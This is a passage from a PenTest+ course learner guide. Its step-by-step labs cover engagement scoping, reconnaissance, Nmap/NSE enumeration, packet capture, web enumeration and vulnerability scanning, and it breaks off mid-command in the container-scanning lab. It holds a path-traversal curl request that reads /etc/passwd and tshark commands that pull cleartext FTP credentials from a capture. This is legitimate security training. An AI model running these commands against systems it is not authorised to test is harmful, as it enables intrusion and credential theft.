



Tertiary Infotech Academy Pte Ltd

UEN: 201200696W

LEARNER GUIDE

For

CompTIA PenTest+ (PT0-003)

TGS Ref No: TGS-2024044563

Conducted by

Tertiary Infotech Academy Pte Ltd

UEN: 201200696W

Version 1.1

DOCUMENT VERSION CONTROL RECORD

Version Number	Effective Date of Release	Summary of Included Changes	Author
1.0	3 July 2026	Initial release — CompTIA PenTest+ (PT0-003) Learner Guide covering all 35 labs.	Dr. Alfred Ang
1.1	3 July 2026	Added Lab 12 (Wireshark/tcpdump traffic analysis) and Lab 21 (Netcat/Socat shells) — now 37 labs; added an Exam Focus section on testing frameworks, scan types (SAST/DAST/IAST/SCA) and specialized systems (mobile/IoT/OT/AI) for full PT0-003 domain alignment.	Dr. Alfred Ang

TABLE OF CONTENTS

Introduction.....	5
Course Learning Outcomes.....	5
Before You Start — Environment Setup.....	5
Topic 01 — Engagement Management (13%).....	6
Lab 1 — Scoping a Pentest: SoW, NDA and Rules of Engagement.....	6
Lab 2 — Threat Modeling with STRIDE and DREAD.....	7
Lab 3 — Mapping a Pentest to MITRE ATT&CK.....	8
Lab 4 — Risk Scoring with CVSS, CWE and EPSS.....	9
Lab 5 — Writing a Penetration Test Report.....	9
Topic 02 — Reconnaissance and Enumeration (21%).....	10
Lab 6 — Passive OSINT with theHarvester and Recon-ng.....	11
Lab 7 — WHOIS, DNS Recon and Zone Walking.....	12
Lab 8 — Subdomain Enumeration with Amass and Subfinder.....	13
Lab 9 — Shodan, Censys and Certificate Transparency.....	14
Lab 10 — Network Scanning with Nmap.....	15
Lab 11 — Service Enumeration with Nmap NSE.....	16
Lab 12 — Traffic Capture and Analysis with Wireshark and tcpdump.....	17
Lab 13 — Web Enumeration: Gobuster, Wfuzz, WhatWeb.....	19
Lab 14 — Recon Scripting with Bash and Python.....	20
Topic 03 — Vulnerability Discovery and Analysis (17%).....	21
Lab 15 — Vulnerability Scanning with Greenbone / OpenVAS.....	21
Lab 16 — Web Vulnerability Scanning with Nikto and ZAP.....	22
Lab 17 — Container Image Scanning with Trivy and Grype.....	23
Lab 18 — Secrets Scanning with TruffleHog.....	24
Lab 19 — Validating Findings and Public Exploit Selection.....	25
Topic 04 — Attacks and Exploits (35%).....	26
Lab 20 — Exploitation with the Metasploit Framework.....	27
Lab 21 — Bind and Reverse Shells with Netcat and Socat.....	28
Lab 22 — LLMNR/NBT-NS Poisoning and SMB Relay with Responder.....	29
Lab 23 — Online Password Attacks with Hydra and Medusa.....	30
Lab 24 — Offline Hash Cracking with hashcat and John.....	31
Lab 25 — Linux Privilege Escalation with LinPEAS.....	32
Lab 26 — Windows Privilege Escalation and Kerberoasting.....	33
Lab 27 — SQL Injection with sqlmap.....	34
Lab 28 — XSS, CSRF and SSRF with Burp Suite.....	35
Lab 29 — File Inclusion, Directory Traversal and Web Shells.....	36
Lab 30 — Cloud Attacks: S3 and IAM with Pacu and ScoutSuite.....	37

Lab 31 — Wireless Attacks: WPA Cracking with Aircrack-ng.....	38
Lab 32 — Social Engineering with GoPhish and SET.....	39
Topic 05 — Post-exploitation and Lateral Movement (14%).....	40
Lab 33 — Establishing Persistence (cron, systemd, web shell).....	41
Lab 34 — Lateral Movement with CrackMapExec and Impacket.....	42
Lab 35 — Pivoting with sshuttle, Chisel and Proxychains.....	43
Lab 36 — Data Exfiltration over DNS, ICMP and HTTPS.....	44
Lab 37 — Cleanup, Restoration and Artifact Preservation.....	45
Exam Focus — Testing Frameworks, Scan Types and Specialized Systems.....	46
Exam Preparation.....	48
Glossary.....	48

Introduction

This Learner Guide accompanies the WSQ course CompTIA PenTest+ (PT0-003) (TGS-2024044563), conducted by Tertiary Infotech Academy Pte Ltd. It provides step-by-step instructions for all 37 hands-on labs, organised by the five official PT0-003 exam domains. Every lab maps to a published exam objective and is completed on Kali Linux using industry-standard, free penetration-testing tools.

Use this guide alongside the course slides and the lab files in the labs/ folder of the course repository. All offensive techniques must only be run against systems you own or have written authorisation to test — unauthorised access to a computer is a criminal offence under the Singapore Computer Misuse Act and equivalents elsewhere. Always complete the clean-up and artifact-preservation steps at the end of an engagement.

Course Learning Outcomes

- LO1: Plan and scope a penetration test — pre-engagement activities, SoW/NDA/RoE, threat modelling, MITRE ATT&CK mapping, CVSS risk scoring and professional reporting.
- LO2: Perform reconnaissance and enumeration — passive OSINT, DNS and subdomain discovery, internet-exposure intelligence, and active network, service and web enumeration.
- LO3: Discover and analyse vulnerabilities — network, web, container and secrets scanning, then validate findings and select public exploits safely.
- LO4: Execute attacks and exploits — network, authentication, application, wireless, cloud and social-engineering attacks against authorised targets.
- LO5: Conduct post-exploitation and lateral movement — persistence, credential-based lateral movement, pivoting, exfiltration testing, and cleanup with artifact preservation.

Before You Start — Environment Setup

What you need

- A Kali Linux environment — the Killercoda Kali playground (browser-based), a Kali VM in VirtualBox/VMware, Kali in WSL2, or the Kali Docker image.
- Most tools are pre-installed in Kali; install anything missing with apt (e.g. `sudo apt install -y <tool>`).
- Vulnerable practice targets launched as Docker containers on the Kali host: DVWA, OWASP Juice Shop and Metasploitable3; plus AWS Free Tier / localstack for the cloud lab.
- Written authorisation (a signed Rules of Engagement) for any target that is not your own lab machine.

Launch and verify Kali Linux

Kali Linux ships with the offensive-security toolchain pre-installed (Nmap, Metasploit, Burp Suite, hashcat, Aircrack-ng and hundreds more). Start your Kali environment, open a terminal, become root when a step needs it, and confirm the core tools are present before you begin.

```
kali@kali:~$ id                # confirm your user
kali@kali:~$ nmap --version     # core scanner present
kali@kali:~$ msfconsole --version # Metasploit present
kali@kali:~$ sudo apt update    # refresh package lists
```

Conventions used in every lab

- Commands are run from a Kali terminal; a leading sudo is used where root is required.
- Placeholders such as <TARGET>, <KALI> and <ip> are replaced with your own lab addresses.
- Each lab creates a working directory under ~/engagements/ for its notes, output and loot.
- Reset or re-deploy a vulnerable target between exploit labs that change its state.
- Run the clean-up step at the end of state-changing labs, and preserve artifacts for the report.

Topic 01 — Engagement Management (13%)

Pre-engagement · SoW / NDA / RoE · Threat Modelling · MITRE ATT&CK · CVSS · Reporting

Key concepts

- A penetration test is an authorised, scoped simulated attack; the signed Rules of Engagement (RoE) and authorisation letter are what make it legal, not a crime.
- Pre-engagement defines scope with three documents: the NDA (confidentiality), the Statement of Work (targets, methodology, schedule, fees) and the Rules of Engagement (windows, allowed/forbidden actions, stop conditions).
- Threat modelling (STRIDE, DREAD) and MITRE ATT&CK give a structured, adversary-realistic view of what to test and how findings map to real tactics and techniques.
- Findings are prioritised with CVSS base/temporal scores, CWE weakness types and EPSS exploit-likelihood, then communicated in a report with an executive summary and remediation.

Lab 1 — Scoping a Pentest: SoW, NDA and Rules of Engagement

Exam objective: Summarize pre-engagement activities.

Goal: The learner reads a vague client brief, extracts the four scoping pillars, and drafts the three foundational pre-engagement documents (NDA, SoW, RoE) before self-checking against PTES.

What you'll build

An NDA, a scoped Statement of Work, and a Rules of Engagement brief (Tools: NDA, SoW, RoE, PTES, OWASP WSTG, OWASP API Security Top 10.)

Step-by-step

1. Read the client brief and identify targets, exclusions, cases, window
2. Create the engagement working directory

```
mkdir -p ~/engagements/acme && cd ~/engagements/acme
```

3. Draft the Non-Disclosure Agreement

```
nano nda.md
```

4. Draft the Statement of Work with in-scope targets and schedule

```
nano sow.md
```

5. Draft the Rules of Engagement with authorised testers and windows

```
nano roe.md
```

6. List allowed and forbidden activities plus stop conditions
7. Self-check the three documents against the PTES pre-engagement list

Test it

Confirm the three documents together cover every PTES pre-engagement item: scope, schedule, IP whitelist, emergency contacts, payment, NDA, and signed authorisation.

Note: Full commands and screenshots are in labs/lab-01-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 2 — Threat Modeling with STRIDE and DREAD

Exam objective: Compare and contrast testing frameworks and methodologies.

Goal: The learner draws a data-flow diagram of a login application, enumerates threats per element with STRIDE, scores them with DREAD, and versions the exported model in the engagement Git repo.

What you'll build

A data-flow diagram, a STRIDE threat table, and a DREAD-scored triage queue (Tools: STRIDE, DREAD, OWASP Threat Dragon, PTES, OWASP Top 10, MITRE ATT&CK, Git.)

Step-by-step

8. Draw the data-flow diagram with trust boundaries in Threat Dragon
9. Enumerate threats per element using the six STRIDE categories
10. Score at least five threats across the five DREAD dimensions
11. Flag any threat averaging 7 or above as High
12. Note where STRIDE, DREAD, PTES, OWASP and ATT&CK each fit
13. Export the Threat Dragon model to JSON

```
cp ~/Downloads/acme-login-threatmodel.json ~/engagements/acme/
```

14. Commit the threat model to the engagement Git repo

```
cd ~/engagements/acme && git init && git add . && git commit -m 'Initial threat model'
```

Test it

Confirm the DFD, the STRIDE table and a DREAD triage queue exist, and the exported JSON model is committed alongside the SoW.

Note: Full commands and screenshots are in labs/lab-02-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 3 — Mapping a Pentest to MITRE ATT&CK

Exam objective: Compare and contrast testing frameworks and methodologies.

Goal: The learner uses the MITRE ATT&CK Navigator to map a phishing-to-exfiltration kill chain to Tactic, Technique and Sub-technique IDs, then scores, colours and exports the layer with detections and mitigations.

What you'll build

A scored, colour-coded ATT&CK Navigator layer exported as SVG and JSON (Tools: MITRE ATT&CK Navigator, Cyber Kill Chain, OWASP Top 10, PTES, NIST SP 800-115.)

Step-by-step

15. Create a new Enterprise layer in ATT&CK Navigator
16. Map the kill chain to Tactic, Technique and Sub-technique IDs
17. Add selected techniques to the layer with a score of 1
18. Set a colour gradient and score each technique to build the heatmap

19. Export the layer to SVG for the report and JSON for the folder
20. Open a technique cell to review detections and mitigations
21. Copy a technique's mitigation list into the draft Recommendations

Test it

Confirm the kill chain is mapped to correct ATT&CK IDs and a scored, coloured layer is exported as both SVG and JSON with mitigations captured.

Note: Full commands and screenshots are in labs/lab-03-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 4 — Risk Scoring with CVSS, CWE and EPSS

Exam objective: Analyze findings and prioritize attacks.

Goal: The learner looks up three real CVEs, re-derives their CVSS v3.1 base scores from the vector strings, and builds a prioritised remediation table combining CVSS, CWE, EPSS and CISA KEV.

What you'll build

A CVSS/CWE/EPSS/KEV prioritisation table and a written remediation recommendation (Tools: CVSS v3.1, CWE, EPSS, CISA KEV, NVD, FIRST CVSS calculator.)

Step-by-step

22. Open the NVD, CVSS 3.1, EPSS and CWE web tools
23. Score CVE-2024-3094 and translate its CVSS vector string
24. Score CVE-2017-0144 (EternalBlue) and note its CISA KEV status
25. Score CVE-2014-6271 (Shellshock) with CWE and EPSS
26. Build the ranked prioritisation table across CVSS, EPSS, KEV, CWE
27. Apply the CVSS/EPSS/KEV rules of thumb to set fix urgency
28. Write the Shellshock finding as a remediation with compensating control

Test it

Confirm each CVSS vector re-derives to the published base score and the ranked table justifies fix urgency using CVSS, EPSS and CISA KEV together.

Note: Full commands and screenshots are in labs/lab-04-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 5 — Writing a Penetration Test Report

Exam objective: Assemble report components and communicate findings.

Goal: The learner writes a deliverable-grade Markdown pentest report with all standard sections, converts it to PDF and DOCX with pandoc, trials Dradis CE for team reporting, and runs a peer-review checklist.

What you'll build

A delivery-grade pentest report in Markdown, PDF and DOCX (Tools: pandoc, texlive-xetex, Dradis CE, PTES, OWASP WSTG, CVSS, MITRE ATT&CK.)

Step-by-step

29. Install pandoc and the LaTeX PDF engine

```
sudo apt update && sudo apt install -y pandoc texlive-xetex
```

30. Create the report skeleton in the report directory

```
mkdir -p ~/engagements/acme/report && cd ~/engagements/acme/report && nano report.md
```

31. Write exec summary, methodology, scope and limitations sections

32. Write detailed findings with CVSS, CWE, ATT&CK, impact and fix

33. Convert the Markdown report to a delivery-grade PDF

```
pandoc report.md -o report.pdf --pdf-engine=xelatex -V geometry:margin=2cm -V mainfont='DejaVu Sans'
```

34. Convert the report to DOCX

```
pandoc report.md -o report.docx
```

35. Trial Dradis CE for collaborative team reporting

```
docker run --rm -p 3000:3000 dradis/dradis-ce:latest
```

36. Walk through the peer-review and secure-distribution checklist

Test it

Confirm the report renders to a delivery-grade PDF and DOCX with all PT0-003 sections and passes the peer-review, business-risk and secure-distribution checklist gates.

Note: Full commands and screenshots are in labs/lab-05-*.md. Only run these techniques against systems you own or are authorised to test.

Topic 02 — Reconnaissance and Enumeration (21%)

OSINT · WHOIS & DNS · Subdomains · Shodan/Censys · Nmap · NSE · Web Enum · Scripting

Key concepts

- Passive reconnaissance gathers intelligence without touching the target (OSINT, WHOIS, DNS, certificate transparency, Shodan/Censys); active reconnaissance probes it directly (scanning, enumeration).
- DNS and subdomain enumeration (theHarvester, Amass, Subfinder, zone transfers) expand the attack surface from one domain to many hosts and services.
- Nmap discovers live hosts, open ports and service versions; the Nmap Scripting Engine (NSE) enumerates services and detects known issues.
- Web enumeration (Gobuster, Wfuzz, WhatWeb) and lightweight Bash/Python scripting turn raw recon into a structured, repeatable target list.

Lab 6 — Passive OSINT with theHarvester and Recon-ng

Exam objective: Apply information-gathering techniques; tools for recon and enumeration.

Goal: The learner collects emails, subdomains and IPs from public sources with theHarvester, chains free Recon-ng modules in a workspace, and exports an HTML OSINT report without touching the target.

What you'll build

An emails/hosts/IPs OSINT dataset and an exported HTML recon report (Tools: theHarvester, Recon-ng, crt.sh, passive DNS, Firefox.)

Step-by-step

37. Install theHarvester and Recon-ng on Kali

```
sudo apt update && sudo apt install -y theharvester recon-ng
```

38. Gather emails and hosts with theHarvester

```
theHarvester -d example.com -b duckduckgo,crtsh,hackertarget,rapiddns -l 200
```

39. Save theHarvester output for correlation

```
theHarvester -d example.com -b crtsh,rapiddns -f example-osint
```

40. Create a Recon-ng workspace and install modules

```
recon-ng
```

41. Run the hackertarget hosts module on the domain

```
modules load recon/domains-hosts/hackertarget
```

42. Chain threatcrowd and certificate_transparency feeds

```
modules load recon/domains-hosts/certificate_transparency
```

43. Show the combined hosts table

```
show hosts
```

44. Export an HTML report and open it in Firefox

```
modules load reporting/html
```

Test it

Confirm theHarvester and Recon-ng enumerate emails and subdomains from public indexes only and produce an HTML OSINT report, with no packet sent to the target.

Note: Full commands and screenshots are in labs/lab-06-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 7 — WHOIS, DNS Recon and Zone Walking

Exam objective: Information gathering (DNS/reverse DNS) and DNS enumeration.

Goal: The learner maps a target's DNS footprint with whois, dig, dnsenum and dnsrecon, tests for AXFR zone transfer, and walks an NSEC-signed zone to identify reportable misconfigurations.

What you'll build

A DNS record map, a successful AXFR zone dump, and an NSEC zone walk (Tools: whois, dig, dnsenum, dnsrecon, Idns-walk.)

Step-by-step

45. Query registrar and name servers with WHOIS

```
whois example.com | head -40
```

46. Pull A, MX, NS and TXT records with dig

```
dig zonetransfer.me A; dig zonetransfer.me MX; dig zonetransfer.me NS  
+short; dig zonetransfer.me TXT
```

47. Perform a reverse DNS lookup on an IP

```
dig -x 8.8.8.8 +short
```

48. Attempt an AXFR zone transfer

```
dig axfr @nsztml.digi.ninja zonetransfer.me
```

49. Automate enumeration with dnsenum

```
dnsenum --output zonetransfer.xml zonetransfer.me
```

50. Run std, axfr and brute modes with dnsrecon

```
dnsrecon -d zonetransfer.me -t brt -D /usr/share/wordlists/dnsmap.txt
```

51. Detect DNSSEC keys with dig

```
dig zonetransfer.me +dnssec +short; dig DNSKEY zonetransfer.me +short
```

52. Walk an NSEC-signed zone with ldns-walk

```
ldns-walk zonetransfer.me
```

Test it

Confirm the AXFR returns the full zone and ldns-walk enumerates every NSEC record, both reportable DNS misconfigurations.

Note: Full commands and screenshots are in labs/lab-07-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 8 — Subdomain Enumeration with Amass and Subfinder

Exam objective: Enumeration (DNS enumeration, host discovery) and tools.

Goal: The learner enumerates subdomains from passive sources with Subfinder, Assetfinder and Amass, brute-forces with active Amass, then filters to live HTTP hosts and screenshots them.

What you'll build

A deduped subdomain list, a live-hosts file, and a gowitness screenshot gallery (Tools: Amass, Subfinder, Assetfinder, httpx, gowitness.)

Step-by-step

53. Install amass, subfinder and assetfinder

```
sudo apt update && sudo apt install -y amass subfinder assetfinder
```

54. Enumerate passive sources with Subfinder

```
subfinder -d owasp.org -all -silent | tee subs-subfinder.txt | wc -l
```

55. Cross-check subdomains with Assetfinder

```
assetfinder --subs-only owasp.org | sort -u > subs-assetfinder.txt
```

56. Run OWASP Amass passive enumeration

```
amass enum -passive -d owasp.org -o subs-amass.txt
```

57. Combine and de-duplicate all sources

```
cat subs-*.txt | sort -u > subs-all.txt
```

58. Brute-force subdomains with active Amass

```
amass enum -active -d owasp.org -w  
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o subs-  
active.txt
```

59. Probe alive HTTP/HTTPS hosts with httpx

```
cat subs-all.txt | httpx -silent -status-code -title -tech-detect -o  
alive.txt
```

60. Screenshot live hosts with gowitness

```
gowitness file -f alive.txt
```

Test it

Confirm the merged subdomain list resolves to live hosts in alive.txt and gowitness produces a screenshot gallery for the report appendix.

Note: Full commands and screenshots are in labs/lab-08-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 9 — Shodan, Censys and Certificate Transparency

Exam objective: OSINT via search engines and certificate transparency logs.

Goal: The learner uses the Shodan and Censys APIs and crt.sh to enumerate a target's internet-visible assets without scanning, then merges the three sources into one deduped asset CSV.

What you'll build

A deduped internet-visible attack-surface CSV from three OSINT sources (Tools: Shodan CLI, Censys CLI, crt.sh, curl, jq.)

Step-by-step

61. Install and initialise the Shodan CLI

```
pip install shodan; shodan init <YOUR_API_KEY>
```

62. Search Shodan by org, hostname and vuln filters

```
shodan search 'org:"OWASP"'
```

63. Download and parse Shodan results to JSON

```
shodan download owasp 'org:"OWASP"'; shodan parse --fields  
ip_str,port,product,version owasp.json.gz | head
```

64. Configure and query the Censys CLI

```
censys config
```

65. Find assets by TLS common name in Censys

```
censys search  
'services.tls.certificates.leaf_data.subject.common_name="*.owasp.org"' --  
pages 1 | jq '.[0] | .ip'
```

66. Extract subdomains from crt.sh CT logs

```
curl -s 'https://crt.sh/?q=%25.owasp.org&output=json' | jq -r '  
[0].name_value' | sort -u | head -20
```

67. Merge sources into a deduped asset CSV

```
sort -u assets.csv > assets-dedup.csv
```

Test it

Confirm the three OSINT sources merge into one deduped assets CSV describing the internet-visible attack surface, all gathered without scanning the target.

Note: Full commands and screenshots are in labs/lab-09-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 10 — Network Scanning with Nmap

Exam objective: Network reconnaissance and TCP/UDP protocol scanning.

Goal: The learner uses Nmap to sweep for live hosts, run SYN and UDP port scans, detect services and OS with version and default scripts, and export results to XML/HTML for the report.

What you'll build

A full TCP/UDP scan with service, OS and script data saved in all formats (Tools: Nmap, Docker, xsltproc.)

Step-by-step

68. Launch a vulnerable Docker target

```
sudo docker run --rm -d --name target -p 2222:22 -p 8080:80 -p 8443:443  
vulnhub/openssh:5.3p1
```

69. Sweep for live hosts with a ping scan

```
sudo nmap -sn 192.168.1.0/24
```

70. Run a fast all-ports SYN scan

```
sudo nmap -sS -p- --min-rate 1000 -T4 $TARGET
```

71. Scan the top UDP ports

```
sudo nmap -sU --top-ports 50 $TARGET
```

72. Detect service versions with default scripts

```
sudo nmap -sV -sC -p 22,80,443,2222,8080,8443 $TARGET -oA target-scan
```

73. Fingerprint the operating system

```
sudo nmap -O $TARGET
```

74. Convert the XML scan to an HTML report

```
xsltproc target-scan.xml -o target-scan.html
```

Test it

Confirm the scan reports open ports, service versions and an OS guess, and that target-scan.html renders as a report appendix.

Note: Full commands and screenshots are in labs/lab-10-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 11 — Service Enumeration with Nmap NSE

Exam objective: Service/protocol/share enumeration with Nmap NSE.

Goal: The learner drives the Nmap Scripting Engine to enumerate HTTP, SMB, TLS, SMTP and SNMP, cross-checks SMB with enum4linux-ng and smbclient, and runs known-vulnerability scripts.

What you'll build

Deep NSE service enumeration with SMB shares/users and CVE findings (Tools: Nmap NSE, enum4linux-ng, smbclient, onesixtyone, snmpwalk.)

Step-by-step

75. Spin up the Metasploitable3 target

```
sudo docker run --rm -d --name msf3 -p 0.0.0.0:0:0 rapid7/metasploitable3-ub1404
```

76. Enumerate HTTP with NSE scripts

```
sudo nmap -p 80,8080,8585 --script "http-title,http-headers,http-enum,http-robots.txt" $TARGET
```

77. Enumerate SMB shares, users and security mode

```
sudo nmap -p 139,445 --script "smb-os-discovery,smb-enum-shares,smb-enum-users,smb-security-mode" $TARGET
```

78. Cross-check SMB with enum4linux-ng and smbclient

```
enum4linux-ng -A $TARGET; smbclient -L //$TARGET/ -N
```

79. Audit SSL/TLS ciphers and Heartbleed

```
sudo nmap -p 443,8443 --script "ssl-enum-ciphers,ssl-cert,ssl-heartbleed" $TARGET
```

80. Run known-vulnerability SMB and HTTP scripts

```
sudo nmap -p 445 --script "smb-vuln-ms17-010,smb-vuln-cve-2009-3103" $TARGET
```

81. Enumerate SNMP with NSE and snmpwalk

```
sudo nmap -sU -p 161 --script "snmp-info,snmp-sysdescr,snmp-interfaces" $TARGET
```

82. Run the all-in-one vuln category scan

```
sudo nmap -sV --script "vuln" -oA target-vuln $TARGET
```

Test it

Confirm NSE lists SMB shares/users, flags TLS misconfigurations, and prints VULNERABLE blocks for known CVEs promotable straight to the report.

Note: Full commands and screenshots are in labs/lab-11-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 12 — Traffic Capture and Analysis with Wireshark and tcpdump

Exam objective: Packet capture and traffic analysis for reconnaissance, service discovery and credential recovery.

Goal: The learner captures live network traffic with tcpdump and Wireshark, applies display filters to isolate protocols, follows a TCP stream end to end, recovers cleartext credentials from a capture, and extracts fields and objects from the CLI with tshark.

What you'll build

A pcap capture, filtered protocol views, a followed TCP stream and recovered cleartext credentials (Tools: Wireshark, tshark, tcpdump, Kali.)

Step-by-step

83. Install Wireshark, tshark and tcpdump on Kali

```
sudo apt update && sudo apt install -y wireshark tshark tcpdump
```

84. Capture live traffic on the LAN interface to a pcap

```
sudo tcpdump -i eth0 -w capture.pcap -c 2000
```

85. Open the capture and apply protocol display filters

```
wireshark capture.pcap # filters: http || dns || ftp || tcp.port==23
```

86. Isolate a cleartext service and follow its TCP stream

```
# Wireshark: right-click a packet > Follow > TCP Stream
```

87. Recover cleartext FTP credentials with tshark

```
tshark -r capture.pcap -Y 'ftp.request.command in {USER PASS}' -T fields -e ftp.request.command -e ftp.request.arg
```

88. Extract HTTP hosts, URIs and TCP conversations

```
tshark -r capture.pcap -q -z conv,tcp; tshark -r capture.pcap -Y http.request -T fields -e http.host -e http.request.uri
```

89. Spot on-path/ARP poisoning in the capture

```
tshark -r capture.pcap -Y 'arp.duplicate-address-detected || arp.opcode==2'
```

90. Export transferred HTTP objects for the report

```
tshark -r capture.pcap --export-objects http,./http_objects && ls http_objects
```

Test it

Confirm you can filter a capture to a single protocol, follow a TCP stream end to end, and recover cleartext credentials from the pcap — the packet-analysis skill on-path attacks and the exam rely on.

Note: Full commands and screenshots are in labs/lab-12-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 13 — Web Enumeration: Gobuster, Wfuzz, WhatWeb

Exam objective: Web crawling and manual enumeration of a web application.

Goal: The learner fingerprints a web stack with WhatWeb, reads exposed files, brute-forces directories and parameters with Gobuster, ffuf and Wfuzz, enumerates vhosts, and scans WordPress with WPScan.

What you'll build

A web app tech profile, directory/parameter/vhost lists, and WPScan findings (Tools: WhatWeb, Gobuster, ffuf, Wfuzz, WPScan, curl.)

Step-by-step

91. Spin up the DVWA target in Docker

```
sudo docker run --rm -d --name dvwa -p 80:80 vulnerables/web-dvwa
```

92. Fingerprint the stack with WhatWeb

```
whatweb -v $TARGET
```

93. Read robots.txt, sitemap and exposed .git

```
curl -s $TARGET/robots.txt; curl -s $TARGET/.git/HEAD
```

94. Brute-force directories with Gobuster

```
gobuster dir -u $TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 -o gobuster.txt
```

95. Fuzz request parameters with Wfuzz

```
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hc 404 "$TARGET/vulnerabilities/sqli/?FUZZ=1"
```

96. Enumerate virtual hosts with Gobuster vhost

```
gobuster vhost -u http://example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
```

97. Enumerate WordPress plugins, themes and users

```
wpscan --url https://wp.example.com --enumerate vp,vt,u --random-user-agent
```

Test it

Confirm WhatWeb identifies the stack, Gobuster and Wfuzz reveal hidden paths and parameters, and WPScan enumerates WordPress users, plugins and themes.

Note: Full commands and screenshots are in labs/lab-13-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 14 — Recon Scripting with Bash and Python

Exam objective: Modify scripts for reconnaissance, enumeration and validation.

Goal: The learner writes and modifies a Bash bulk DNS resolver and a Python threaded TCP port scanner, then extends them with banner grabbing and the scapy and requests libraries.

What you'll build

A Bash DNS-resolver script and a Python threaded TCP port scanner (Tools: Bash, dig, Python, socket, scapy, requests.)

Step-by-step

98. Create the scripts working directory

```
mkdir -p ~/scripts && cd ~/scripts
```

99. Write a Bash while-read DNS resolver

```
nano resolve.sh
```

100. Run the resolver over a subdomain list

```
chmod +x resolve.sh; ./resolve.sh subs.txt
```

101. Modify the script to add MX records

```
mx=$(dig +short "$host" MX | head -1)
```

102. Write a Python threaded TCP port scanner

```
nano portscan.py
```

103. Run the port scanner against a host

```
./portscan.py 127.0.0.1 20-100
```

104. Extend the scanner with banner grabbing

```
s.send(b'HEAD / HTTP/1.0\r\n\r\n'); return  
s.recv(256).decode(errors='ignore').splitlines()[0]
```

105. Automate recon with scapy and requests

```
reply = sr1(IP(dst='8.8.8.8')/ICMP(), timeout=1, verbose=0)
```

Test it

Confirm `resolve.sh` writes a subdomain,ip CSV and `portscan.py` prints the open ports for a host, demonstrating the read-and-modify skill the exam tests.

Note: Full commands and screenshots are in `labs/lab-14-*.md`. Only run these techniques against systems you own or are authorised to test.

Topic 03 — Vulnerability Discovery and Analysis (17%)

OpenVAS · Nikto & ZAP · Trivy & Gripe · TruffleHog · Validation & Exploit Selection

Key concepts

- Vulnerability scanning (Greenbone/OpenVAS) automates the discovery of missing patches, weak configurations and known CVEs across the network.
- Web, container-image and secrets scanning (Nikto, ZAP, Trivy, Gripe, TruffleHog) each target a different layer of a modern application stack.
- Scanners produce false positives; every finding must be manually validated before it is reported or exploited.
- Public exploit selection (Exploit-DB, searchsploit, Metasploit) requires matching the exact service version and understanding the exploit's impact before running it.

Lab 15 — Vulnerability Scanning with Greenbone / OpenVAS

Exam objective: 3.1 Conduct vulnerability discovery (network scans, authenticated/unauthenticated, host-based); 3.2 Analyse scan output..

Goal: The learner deploys Greenbone CE via Docker, scans a vulnerable target, and triages the findings by severity, QoD, and manual validation.

What you'll build

A triaged Greenbone/OpenVAS scan report with true and false positives separated.
(Tools: Greenbone/OpenVAS, Docker, `gvm-cli`, Nmap, `curl`.)

Step-by-step

106. Deploy Greenbone CE with Docker Compose

```
mkdir greenbone && cd greenbone; curl -O
https://greenbone.github.io/docs/latest/_static/docker-compose-22.4.yml;
sudo docker compose -f docker-compose-22.4.yml -p greenbone up -d
```

107. Watch the vulnerability feed sync

```
sudo docker compose -p greenbone logs -f gvm
```

108. Add a target for the vulnerable VM in the GSA UI

109. Attach SSH/SMB creds for an authenticated scan

- 110. Create and start a Full and fast scan task
- 111. Triage findings by severity and QoD
- 112. Validate the MS17-010 SMB finding with Nmap

```
nmap --script smb-vuln-ms17-010 <TARGET>
```

- 113. Validate the Apache path traversal with curl

```
curl http://target/cgi-bin/.%2e/.%2e/etc/passwd
```

- 114. List scan tasks from the CLI

```
sudo gvm-cli socket --xml="<get_tasks/>"
```

Test it

Confirm high-severity findings are validated as true positives and the report exports to PDF/XML/CSV.

Note: Full commands and screenshots are in labs/lab-15-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 16 — Web Vulnerability Scanning with Nikto and ZAP

Exam objective: 3.1 Application scans (DAST); 4.5 Web app attack tools (ZAP)..

Goal: The learner scans DVWA with Nikto and OWASP ZAP, running ZAP both headless and as an authenticated GUI active scan.

What you'll build

Nikto and ZAP DAST reports cross-referenced to the OWASP Top 10. (Tools: Nikto, OWASP ZAP, zap-cli, Wapiti, DVWA, Docker.)

Step-by-step

- 115. Start the DVWA target

```
sudo docker run --rm -d --name dvwa -p 80:80 vulnerables/web-dvwa
```

- 116. Scan the app with Nikto

```
nikto -h http://127.0.0.1 -o nikto.html -Format htm
```

- 117. Launch the ZAP headless daemon

```
zapproxy -daemon -port 8090 -config api.disablekey=true &
```

- 118. Run a ZAP quick baseline scan

```
zap-cli -p 8090 quick-scan --self-contained --start-options "-config  
api.disablekey=true" http://127.0.0.1
```

119. Run the official ZAP Docker baseline scan

```
sudo docker run -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t  
http://host.docker.internal -r baseline.html
```

120. Proxy the DVWA login and run a GUI active scan

121. Get a third opinion with Wapiti

```
wapiti -u http://127.0.0.1 -f html -o wapiti-report
```

122. Generate and export the ZAP HTML report

Test it

Confirm the ZAP Alerts tab shows SQL injection, XSS, and CSRF and reports are saved to the engagement folder.

Note: Full commands and screenshots are in labs/lab-16-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 17 — Container Image Scanning with Trivy and Grype

Exam objective: 3.1 Container scans (including sidecar), SCA, IaC scanning; Kube-hunter..

Goal: The learner scans a container image with Trivy and Grype, scans Dockerfile/IaC and SBOMs, and runs kube-hunter against a cluster.

What you'll build

Trivy and Grype CVE reports plus IaC misconfiguration and kube-hunter findings. (Tools: Trivy, Grype, kube-hunter, minikube, jq, Docker.)

Step-by-step

123. Install Trivy and Grype

```
sudo apt install -y trivy; curl -sSfL  
